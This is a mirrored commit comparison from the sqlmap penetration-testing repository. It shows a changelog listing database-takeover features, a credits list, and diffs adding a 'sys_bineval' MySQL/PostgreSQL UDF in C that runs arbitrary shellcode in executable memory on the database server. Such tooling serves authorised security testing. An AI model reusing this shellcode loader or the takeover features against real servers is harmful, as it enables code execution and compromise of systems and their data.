mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-10-12 02:22:55 +00:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
e4e081cdc6 | ||
|
|
a605980d66 | ||
|
|
b363f1c5ab | ||
|
|
e28b98a366 | ||
|
|
c332c72808 | ||
|
|
6e36a6f8ed | ||
|
|
4779a5fe0f | ||
|
|
1bf6a7cadc | ||
|
|
aa14bea051 | ||
|
|
e518ae82e4 | ||
|
|
bfd8128693 | ||
|
|
de68a499f5 | ||
|
|
bb123b2769 | ||
|
|
f1a7d095aa | ||
|
|
89c43893d4 | ||
|
|
458d59416c | ||
|
|
14578a7a4d | ||
|
|
17289c5ff2 | ||
|
|
e608a5ca55 | ||
|
|
19c6804ded | ||
|
|
2c98c11e80 | ||
|
|
45e3ce798f | ||
|
|
d905e5ef9f | ||
|
|
576cc97742 | ||
|
|
b2b2ec8a26 | ||
|
|
3d4bfb3263 | ||
|
|
b4fd71e8b9 | ||
|
|
8096a37940 | ||
|
|
cb3d2bac16 | ||
|
|
516fdb9356 | ||
|
|
24a3a23159 | ||
|
|
4b622ed860 | ||
|
|
0fc4587f02 | ||
|
|
ba2e009fd9 | ||
|
|
bc31bd1dd9 | ||
|
|
fd7de4bbb8 | ||
|
|
3b9303186e | ||
|
|
e5a01d500e | ||
|
|
32067cb676 | ||
|
|
03a6739fbf | ||
|
|
150abc0f1e | ||
|
|
3bca0d4b28 | ||
|
|
5ac2b0658c | ||
|
|
cfd8a83655 | ||
|
|
966f34f381 | ||
|
|
c7b72abc0e | ||
|
|
02f6425db8 | ||
|
|
93ee4a01e5 | ||
|
|
81d1a767ac | ||
|
|
8e7282f7c7 | ||
|
|
440a52b84d | ||
|
|
37d3b3adda | ||
|
|
13de8366d0 | ||
|
|
f7ee4d578e | ||
|
|
ef3846e0de | ||
|
|
45dff4a00a | ||
|
|
b463205544 | ||
|
|
06cc2a6d70 | ||
|
|
a727427299 | ||
|
|
c5d20b8a86 | ||
|
|
f3e8d6db70 | ||
|
|
ccedadd780 | ||
|
|
e8c115500d | ||
|
|
722ca8bf2f | ||
|
|
57b8bb4c8e | ||
|
|
58f3eee390 | ||
|
|
1d7de719b9 | ||
|
|
16b4530bbe | ||
|
|
5121a4dcba | ||
|
|
406d5df195 | ||
|
|
546a6c32e3 | ||
|
|
6f4035938b | ||
|
|
06e8546177 | ||
|
|
eeb34eb028 | ||
|
|
4ce74764b7 | ||
|
|
aec2419410 | ||
|
|
1af6898618 | ||
|
|
69259c5984 | ||
|
|
8e88b32274 |
+1
-1
@@ -1,3 +1,3 @@
|
||||
Bernardo Damele A. G. (inquis) - Lead developer
|
||||
Bernardo Damele Assumpcao Guimaraes (inquis) - Lead developer
|
||||
<[email protected]>
|
||||
PGP Key ID: 0x05F5A30F
|
||||
|
||||
@@ -1,3 +1,50 @@
|
||||
sqlmap (0.8rc1-1) stable; urgency=low
|
||||
|
||||
* Major enhancement to the Microsoft SQL Server stored procedure
|
||||
heap-based buffer overflow exploit (--os-bof) to automatically bypass
|
||||
DEP memory protection.
|
||||
* Added support for MySQL and PostgreSQL to execute Metasploit shellcode
|
||||
via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an
|
||||
option instead of uploading the standalone payload stager executable.
|
||||
* Added options for MySQL, PostgreSQL and Microsoft SQL Server to
|
||||
read/add/delete Windows registry keys.
|
||||
* Added options for MySQL and PostgreSQL to inject custom user-defined
|
||||
functions.
|
||||
* Added support for --first and --last so the user now has even more
|
||||
granularity in what to enumerate in the query output.
|
||||
* Minor enhancement to save the session by default in
|
||||
'output/hostname/session' file if -s option is not specified.
|
||||
* Minor improvement to automatically remove sqlmap created temporary
|
||||
files from the DBMS underlying file system.
|
||||
* Minor bugs fixed.
|
||||
* Major code refactoring.
|
||||
|
||||
-- Bernardo Damele A. G. <[email protected]> Mon, 21 Sep 2009 15:00:00 +0000
|
||||
|
||||
sqlmap (0.7-1) stable; urgency=low
|
||||
|
||||
* Adapted Metasploit wrapping functions to work with latest 3.3
|
||||
development version too.
|
||||
* Adjusted code to make sqlmap 0.7 to work again on Mac OSX too.
|
||||
* Reset takeover OOB features (if any of --os-pwn, --os-smbrelay or
|
||||
--os-bof is selected) when running under Windows because msfconsole
|
||||
and msfcli are not supported on the native Windows Ruby interpreter.
|
||||
This make sqlmap 0.7 to work again on Windows too.
|
||||
* Minor improvement so that sqlmap tests also all parameters with no
|
||||
value (eg. par=).
|
||||
* HTTPS requests over HTTP proxy now work on either Python 2.4, 2.5 and
|
||||
2.6+.
|
||||
* Major bug fix to sql-query/sql-shell features.
|
||||
* Major bug fix in --read-file option.
|
||||
* Major silent bug fix to multi-threading functionality.
|
||||
* Fixed the web backdoor functionality (for MySQL) when (usually) stacked
|
||||
queries are not supported and --os-shell is provided.
|
||||
* Fixed MySQL 'comment injection' version fingerprint.
|
||||
* Fixed basic Microsoft SQL Server 2000 fingerprint.
|
||||
* Many minor bug fixes and code refactoring.
|
||||
|
||||
-- Bernardo Damele A. G. <[email protected]> Sat, 25 Jul 2009 10:00:00 +0000
|
||||
|
||||
sqlmap (0.7rc1-1) stable; urgency=low
|
||||
|
||||
* Added support to execute arbitrary commands on the database server
|
||||
|
||||
+1087
-99
File diff suppressed because it is too large
Load Diff
+4612
-4129
File diff suppressed because it is too large
Load Diff
+1077
-97
File diff suppressed because it is too large
Load Diff
+59
-6
@@ -5,6 +5,9 @@ Chip Andrews <[email protected]>
|
||||
at SQLSecurity.com and permission to implement the update feature
|
||||
taking data from his site
|
||||
|
||||
Simon Baker <[email protected]>
|
||||
for reporting some bugs
|
||||
|
||||
Daniele Bellucci <[email protected]>
|
||||
for starting sqlmap project and developing it between July and August
|
||||
2006
|
||||
@@ -17,15 +20,24 @@ Cesar Cerrudo <[email protected]>
|
||||
sqlmap tree as a contrib library and used to run the stand-alone
|
||||
payload stager on the target Windows machine as SYSTEM user if the
|
||||
user wants to perform a privilege escalation attack,
|
||||
http://www.argeniss.com/research/Churrasco.zip
|
||||
http://www.argeniss.com/research/TokenKidnapping.pdf
|
||||
|
||||
Karl Chen <[email protected]>
|
||||
for providing with the multithreading patch for the inference
|
||||
algorithm
|
||||
|
||||
Pierre Chifflier <[email protected]>
|
||||
for uploading the sqlmap 0.6.2 Debian package to the official Debian
|
||||
project repository
|
||||
Y P Chien <[email protected]>
|
||||
for reporting a minor bug
|
||||
|
||||
Pierre Chifflier <[email protected]> and Mark Hymers <[email protected]>
|
||||
for uploading and accepting the sqlmap Debian package to the official
|
||||
Debian project repository
|
||||
|
||||
Ulises U. Cune <[email protected]>
|
||||
for reporting a bug
|
||||
|
||||
Alessandro Curio <[email protected]>
|
||||
for reporting a minor bug
|
||||
|
||||
Stefano Di Paola <[email protected]>
|
||||
for suggesting good features
|
||||
@@ -38,6 +50,11 @@ Dan Guido <[email protected]>
|
||||
Adam Faheem <[email protected]>
|
||||
for reporting a few bugs
|
||||
|
||||
James Fisher <[email protected]>
|
||||
for providing me with two very good feature requests
|
||||
for his great tool too brute force directories and files names on
|
||||
web/application servers, Dir Buster, http://tinyurl.com/dirbuster
|
||||
|
||||
Jim Forster <[email protected]>
|
||||
for reporting a bug
|
||||
|
||||
@@ -57,6 +74,10 @@ Ivan Giacomelli <[email protected]>
|
||||
for suggesting a minor enhancement
|
||||
for reviewing the documentation
|
||||
|
||||
Oliver Gruskovnjak <[email protected]>
|
||||
for reporting a bug
|
||||
for providing me with a minor patch
|
||||
|
||||
Davide Guerri <[email protected]>
|
||||
for suggesting an enhancement
|
||||
|
||||
@@ -71,26 +92,48 @@ Will Holcomb <[email protected]>
|
||||
for his MultipartPostHandler class to handle multipart POST forms and
|
||||
permission to include it within sqlmap source code
|
||||
|
||||
Daniel Hückmann <[email protected]>
|
||||
for reporting a minor bug
|
||||
|
||||
Mounir Idrassi <[email protected]>
|
||||
for his compiled version of UPX for Mac OS X
|
||||
|
||||
Dirk Jagdmann <[email protected]>
|
||||
for reporting a typo in the documentation
|
||||
|
||||
Luke Jahnke <[email protected]>
|
||||
for reporting a bug when running against MySQL < 5.0
|
||||
|
||||
Sven Klemm <[email protected]>
|
||||
for reporting two minor bugs with PostgreSQL
|
||||
|
||||
Anant Kochhar <[email protected]>
|
||||
for providing me with feedback on the user's manual
|
||||
|
||||
Alexander Kornbrust <[email protected]>
|
||||
for reporting a couple of bugs
|
||||
|
||||
Nicolas Krassas <[email protected]>
|
||||
for reporting a bug
|
||||
|
||||
Guido Landi <[email protected]>
|
||||
for reporting a couple of bugs
|
||||
for the great technical discussions
|
||||
for Microsoft SQL Server 2000 and Microsoft SQL Server 2005
|
||||
'sp_replwritetovarbin' stored procedure heap-based buffer overflow
|
||||
(MS09-004) exploit development, http://www.milw0rm.com/author/1413
|
||||
(MS09-004) exploit development
|
||||
for presenting with me at SOURCE Conference 2009 in Barcelona (Spain)
|
||||
on September 21, 2009
|
||||
|
||||
Lee Lawson <[email protected]>
|
||||
for reporting a minor bug
|
||||
|
||||
Nico Leidecker <[email protected]>
|
||||
for providing me with feedback on a few features
|
||||
for reporting a couple of bugs
|
||||
|
||||
Gabriel Lima <[email protected]>
|
||||
for reporting a bug
|
||||
for reporting a couple of bugs
|
||||
|
||||
Pavol Luptak <[email protected]>
|
||||
for reporting a bug when injecting on a POST data parameter
|
||||
@@ -119,9 +162,16 @@ John F. Reiser <[email protected]>
|
||||
Metasploit Framework 3 payload stager portable executable,
|
||||
http://upx.sourceforge.net
|
||||
|
||||
Simone Onofri <[email protected]>
|
||||
for patching the PHP web backdoor to make it work properly also on
|
||||
Windows
|
||||
|
||||
Antonio Parata <[email protected]>
|
||||
for providing me with some ideas for the PHP backdoor
|
||||
|
||||
Adrian Pastor <[email protected]>
|
||||
for donating to sqlmap development
|
||||
|
||||
Chris Patten <[email protected]>
|
||||
for reporting a bug in the blind SQL injection bisection algorithm
|
||||
|
||||
@@ -213,6 +263,9 @@ fufuh <[email protected]>
|
||||
mariano <[email protected]>
|
||||
for reporting a bug
|
||||
|
||||
Stuffe <[email protected]>
|
||||
for reporting a minor bug and a feature request
|
||||
|
||||
Sylphid <[email protected]>
|
||||
for suggesting some features
|
||||
|
||||
|
||||
@@ -46,7 +46,8 @@ UPDATE udftest SET data=CONCAT(data,0x000000000000000004000000000000006500000001
|
||||
--
|
||||
-- Note that /TODO/plugin DOES NOT
|
||||
-- exist by default so it is NOT possible to save the SO in the proper
|
||||
-- folder where MySQL server looks for SOs.
|
||||
-- folder where MySQL server looks for SOs.
|
||||
-- SHOW VARIABLES WHERE variable_name='plugin_dir';
|
||||
--
|
||||
-- References:
|
||||
-- http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
|
||||
|
||||
@@ -3,4 +3,4 @@ LIBDIR=/usr/lib
|
||||
install:
|
||||
gcc -Wall -I/usr/include/mysql -O1 -shared src/lib_mysqludf_sys.c -o so/lib_mysqludf_sys.so
|
||||
strip -sx so/lib_mysqludf_sys.so
|
||||
cp -f so/lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so
|
||||
sudo cp -f so/lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so
|
||||
|
||||
@@ -25,9 +25,11 @@ DROP FUNCTION IF EXISTS sys_get;
|
||||
DROP FUNCTION IF EXISTS sys_set;
|
||||
DROP FUNCTION IF EXISTS sys_exec;
|
||||
DROP FUNCTION IF EXISTS sys_eval;
|
||||
DROP FUNCTION IF EXISTS sys_bineval;
|
||||
|
||||
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
|
||||
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
|
||||
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||
CREATE FUNCTION sys_bineval RETURNS int SONAME 'lib_mysqludf_sys.so';
|
||||
|
||||
Binary file not shown.
@@ -23,6 +23,9 @@
|
||||
#define DLLEXP __declspec(dllexport)
|
||||
#else
|
||||
#define DLLEXP
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
#ifdef STANDARD
|
||||
@@ -191,6 +194,33 @@ char* sys_eval(
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_bineval
|
||||
*
|
||||
* executes bynary opcodes.
|
||||
* Beware that this can be a security hazard.
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_bineval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_bineval_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
int sys_bineval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
);
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||
#endif
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
@@ -216,10 +246,12 @@ my_bool lib_mysqludf_sys_info_init(
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
void lib_mysqludf_sys_info_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
char* lib_mysqludf_sys_info(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
@@ -250,10 +282,12 @@ my_bool sys_get_init(
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
void sys_get_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
char* sys_get(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
@@ -305,6 +339,7 @@ my_bool sys_set_init(
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
void sys_set_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
@@ -312,6 +347,7 @@ void sys_set_deinit(
|
||||
free(initid->ptr);
|
||||
}
|
||||
}
|
||||
|
||||
long long sys_set(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
@@ -352,10 +388,12 @@ my_bool sys_exec_init(
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
void sys_exec_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
my_ulonglong sys_exec(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
@@ -382,10 +420,12 @@ my_bool sys_eval_init(
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
void sys_eval_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
char* sys_eval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
@@ -422,5 +462,90 @@ char* sys_eval(
|
||||
return result;
|
||||
}
|
||||
|
||||
my_bool sys_bineval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
){
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif /* HAVE_DLOPEN */
|
||||
void sys_bineval_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
|
||||
}
|
||||
|
||||
int sys_bineval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
){
|
||||
int32 argv0_size;
|
||||
size_t len;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
int pID;
|
||||
char *code;
|
||||
#else
|
||||
int *addr;
|
||||
size_t page_size;
|
||||
pid_t pID;
|
||||
#endif
|
||||
|
||||
argv0_size = strlen(args->args[0]);
|
||||
len = (size_t)argv0_size;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
// allocate a +rwx memory page
|
||||
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
strncpy(code, args->args[0], len);
|
||||
|
||||
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||
#else
|
||||
pID = fork();
|
||||
if(pID<0)
|
||||
return 1;
|
||||
|
||||
if(pID==0)
|
||||
{
|
||||
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||
|
||||
// mmap an rwx memory page
|
||||
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||
|
||||
if (addr == MAP_FAILED)
|
||||
return 1;
|
||||
|
||||
strncpy((char *)addr, args->args[0], len);
|
||||
|
||||
((void (*)(void))addr)();
|
||||
}
|
||||
|
||||
if(pID>0)
|
||||
waitpid(pID, 0, WNOHANG);
|
||||
#endif
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__asm
|
||||
{
|
||||
mov eax, [lpParameter]
|
||||
call eax
|
||||
}
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* HAVE_DLOPEN */
|
||||
Binary file not shown.
@@ -25,9 +25,11 @@ DROP FUNCTION IF EXISTS sys_get;
|
||||
DROP FUNCTION IF EXISTS sys_set;
|
||||
DROP FUNCTION IF EXISTS sys_exec;
|
||||
DROP FUNCTION IF EXISTS sys_eval;
|
||||
DROP FUNCTION IF EXISTS sys_bineval;
|
||||
|
||||
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.dll';
|
||||
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.dll';
|
||||
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.dll';
|
||||
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.dll';
|
||||
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.dll';
|
||||
CREATE FUNCTION sys_bineval RETURNS int SONAME 'lib_mysqludf_sys.dll';
|
||||
|
||||
@@ -23,6 +23,9 @@
|
||||
#define DLLEXP __declspec(dllexport)
|
||||
#else
|
||||
#define DLLEXP
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
#ifdef STANDARD
|
||||
@@ -191,6 +194,33 @@ char* sys_eval(
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_bineval
|
||||
*
|
||||
* executes bynary opcodes.
|
||||
* Beware that this can be a security hazard.
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_bineval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_bineval_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
int sys_bineval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
);
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||
#endif
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
@@ -216,10 +246,12 @@ my_bool lib_mysqludf_sys_info_init(
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
void lib_mysqludf_sys_info_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
char* lib_mysqludf_sys_info(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
@@ -250,10 +282,12 @@ my_bool sys_get_init(
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
void sys_get_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
char* sys_get(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
@@ -305,6 +339,7 @@ my_bool sys_set_init(
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
void sys_set_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
@@ -312,6 +347,7 @@ void sys_set_deinit(
|
||||
free(initid->ptr);
|
||||
}
|
||||
}
|
||||
|
||||
long long sys_set(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
@@ -352,10 +388,12 @@ my_bool sys_exec_init(
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
void sys_exec_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
my_ulonglong sys_exec(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
@@ -382,10 +420,12 @@ my_bool sys_eval_init(
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
void sys_eval_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
char* sys_eval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
@@ -422,5 +462,90 @@ char* sys_eval(
|
||||
return result;
|
||||
}
|
||||
|
||||
my_bool sys_bineval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
){
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif /* HAVE_DLOPEN */
|
||||
void sys_bineval_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
|
||||
}
|
||||
|
||||
int sys_bineval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
){
|
||||
int32 argv0_size;
|
||||
size_t len;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
int pID;
|
||||
char *code;
|
||||
#else
|
||||
int *addr;
|
||||
size_t page_size;
|
||||
pid_t pID;
|
||||
#endif
|
||||
|
||||
argv0_size = strlen(args->args[0]);
|
||||
len = (size_t)argv0_size;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
// allocate a +rwx memory page
|
||||
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
strncpy(code, args->args[0], len);
|
||||
|
||||
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||
#else
|
||||
pID = fork();
|
||||
if(pID<0)
|
||||
return 1;
|
||||
|
||||
if(pID==0)
|
||||
{
|
||||
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||
|
||||
// mmap an rwx memory page
|
||||
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||
|
||||
if (addr == MAP_FAILED)
|
||||
return 1;
|
||||
|
||||
strncpy((char *)addr, args->args[0], len);
|
||||
|
||||
((void (*)(void))addr)();
|
||||
}
|
||||
|
||||
if(pID>0)
|
||||
waitpid(pID, 0, WNOHANG);
|
||||
#endif
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__asm
|
||||
{
|
||||
mov eax, [lpParameter]
|
||||
call eax
|
||||
}
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* HAVE_DLOPEN */
|
||||
@@ -19,6 +19,8 @@
|
||||
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
# Adapt the following settings to your environment
|
||||
#PORT="5433"
|
||||
#VERSION="8.2"
|
||||
PORT="5432"
|
||||
VERSION="8.3"
|
||||
USER="postgres"
|
||||
|
||||
@@ -21,3 +21,4 @@
|
||||
|
||||
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||
CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||
|
||||
Binary file not shown.
Binary file not shown.
@@ -25,14 +25,23 @@
|
||||
#define BUILDING_DLL 1
|
||||
#else
|
||||
#define DLLEXP
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
#include <postgres.h>
|
||||
#include <fmgr.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <ctype.h>
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||
#endif
|
||||
|
||||
#ifdef PG_MODULE_MAGIC
|
||||
PG_MODULE_MAGIC;
|
||||
#endif
|
||||
@@ -108,4 +117,76 @@ extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
||||
memcpy(VARDATA(result_text), result, strlen(result));
|
||||
|
||||
PG_RETURN_POINTER(result_text);
|
||||
}
|
||||
}
|
||||
|
||||
PG_FUNCTION_INFO_V1(sys_bineval);
|
||||
extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
|
||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
int32 argv0_size;
|
||||
size_t len;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
int pID;
|
||||
char *code;
|
||||
#else
|
||||
int *addr;
|
||||
size_t page_size;
|
||||
pid_t pID;
|
||||
#endif
|
||||
|
||||
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||
len = (size_t)argv0_size;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
// allocate a +rwx memory page
|
||||
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
strncpy(code, VARDATA(argv0), len);
|
||||
|
||||
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||
#else
|
||||
pID = fork();
|
||||
if(pID<0)
|
||||
PG_RETURN_INT32(1);
|
||||
|
||||
if(pID==0)
|
||||
{
|
||||
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||
|
||||
// mmap an rwx memory page
|
||||
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||
|
||||
if (addr == MAP_FAILED)
|
||||
PG_RETURN_INT32(1);
|
||||
|
||||
strncpy((char *)addr, VARDATA(argv0), len);
|
||||
|
||||
((void (*)(void))addr)();
|
||||
}
|
||||
|
||||
if(pID>0)
|
||||
waitpid(pID, 0, WNOHANG);
|
||||
#endif
|
||||
|
||||
PG_RETURN_INT32(0);
|
||||
}
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__asm
|
||||
{
|
||||
mov eax, [lpParameter]
|
||||
call eax
|
||||
}
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
@@ -25,14 +25,23 @@
|
||||
#define BUILDING_DLL 1
|
||||
#else
|
||||
#define DLLEXP
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
#include <postgres.h>
|
||||
#include <fmgr.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <ctype.h>
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||
#endif
|
||||
|
||||
#ifdef PG_MODULE_MAGIC
|
||||
PG_MODULE_MAGIC;
|
||||
#endif
|
||||
@@ -109,3 +118,75 @@ extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
||||
|
||||
PG_RETURN_POINTER(result_text);
|
||||
}
|
||||
|
||||
PG_FUNCTION_INFO_V1(sys_bineval);
|
||||
extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
|
